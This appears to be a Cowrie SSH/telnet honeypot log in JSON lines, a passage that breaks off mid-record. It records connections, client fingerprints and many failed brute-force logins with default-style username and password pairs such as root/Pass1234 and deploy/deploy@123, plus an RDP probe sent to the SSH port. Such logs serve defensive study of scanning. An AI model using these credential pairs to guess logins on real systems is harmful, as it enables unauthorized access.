{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:47.386643Z","src_ip":"176.65.132.129","session":"63f9516fced0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.822665214538574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:47.723839Z","src_ip":"118.106.202.169","session":"78930ca504bd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:47.779006Z","src_ip":"176.65.132.129","session":"63f9516fced0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.37002897262573,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:48.821687Z","src_ip":"152.42.224.71","session":"1b02e491bf3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:48.864591Z","src_ip":"176.65.132.129","session":"63f9516fced0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52520,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8f82095d4ef","protocol":"telnet","message":"New connection: 152.42.224.71:52520 (10.17.0.5:23) [session: e8f82095d4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:49.233056Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49492,"dst_ip":"159.203.135.109","dst_port":22,"session":"0032e1a9b4ac","protocol":"ssh","message":"New connection: 176.65.132.129:49492 (159.203.135.109:22) [session: 0032e1a9b4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:50.612074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:50.616763Z","src_ip":"176.65.132.129","session":"0032e1a9b4ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:50.699022Z","src_ip":"176.65.132.129","session":"0032e1a9b4ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:50.946537Z","src_ip":"176.65.132.129","session":"0032e1a9b4ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63461,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ffd7e9d7fa5","protocol":"ssh","message":"New connection: 167.172.81.52:63461 (159.203.135.109:22) [session: 3ffd7e9d7fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:51.369862Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:51.377158Z","src_ip":"167.172.81.52","session":"3ffd7e9d7fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:51.380474Z","src_ip":"167.172.81.52","session":"3ffd7e9d7fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:52.048582Z","src_ip":"176.65.132.129","session":"0032e1a9b4ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49516,"dst_ip":"159.203.135.109","dst_port":22,"session":"6415a72e8e77","protocol":"ssh","message":"New connection: 176.65.132.129:49516 (159.203.135.109:22) [session: 6415a72e8e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:53.852240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:53.857268Z","src_ip":"176.65.132.129","session":"6415a72e8e77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:53.940078Z","src_ip":"176.65.132.129","session":"6415a72e8e77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:54.188892Z","src_ip":"176.65.132.129","session":"6415a72e8e77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:55.274799Z","src_ip":"176.65.132.129","session":"6415a72e8e77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38356,"dst_ip":"159.203.135.109","dst_port":22,"session":"16a0356b5021","protocol":"ssh","message":"New connection: 176.65.132.129:38356 (159.203.135.109:22) [session: 16a0356b5021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:57.220381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:57.225201Z","src_ip":"176.65.132.129","session":"16a0356b5021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:57.312741Z","src_ip":"176.65.132.129","session":"16a0356b5021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.20901894569397,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:57.491832Z","src_ip":"152.42.224.71","session":"76ed993d7f62","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:57.565356Z","src_ip":"176.65.132.129","session":"16a0356b5021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:58.655764Z","src_ip":"176.65.132.129","session":"16a0356b5021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40750,"dst_ip":"10.17.0.5","dst_port":23,"session":"7638a27293c2","protocol":"telnet","message":"New connection: 152.42.224.71:40750 (10.17.0.5:23) [session: 7638a27293c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:59.117619Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38362,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb3f3f301ad5","protocol":"ssh","message":"New connection: 176.65.132.129:38362 (159.203.135.109:22) [session: fb3f3f301ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:00.444981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:00.450248Z","src_ip":"176.65.132.129","session":"fb3f3f301ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:00.532723Z","src_ip":"176.65.132.129","session":"fb3f3f301ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:00.780590Z","src_ip":"176.65.132.129","session":"fb3f3f301ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:01.866303Z","src_ip":"176.65.132.129","session":"fb3f3f301ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38364,"dst_ip":"159.203.135.109","dst_port":22,"session":"d38677d4b1e6","protocol":"ssh","message":"New connection: 176.65.132.129:38364 (159.203.135.109:22) [session: d38677d4b1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:03.758762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:03.764561Z","src_ip":"176.65.132.129","session":"d38677d4b1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:03.848352Z","src_ip":"176.65.132.129","session":"d38677d4b1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:04.098247Z","src_ip":"176.65.132.129","session":"d38677d4b1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:05.184216Z","src_ip":"176.65.132.129","session":"d38677d4b1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48402,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1650886f33","protocol":"telnet","message":"New connection: 152.42.224.71:48402 (10.17.0.5:23) [session: 5f1650886f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:07.023861Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38794,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2d2fba55896","protocol":"ssh","message":"New connection: 176.65.132.129:38794 (159.203.135.109:22) [session: a2d2fba55896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:07.066676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:07.071837Z","src_ip":"176.65.132.129","session":"a2d2fba55896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:07.154346Z","src_ip":"176.65.132.129","session":"a2d2fba55896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:07.405215Z","src_ip":"176.65.132.129","session":"a2d2fba55896","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:08.515699Z","src_ip":"176.65.132.129","session":"a2d2fba55896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":50350,"dst_ip":"159.203.135.109","dst_port":22,"session":"0475d1edc640","protocol":"ssh","message":"New connection: 45.132.125.41:50350 (159.203.135.109:22) [session: 0475d1edc640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:08.930373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:08.935687Z","src_ip":"45.132.125.41","session":"0475d1edc640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 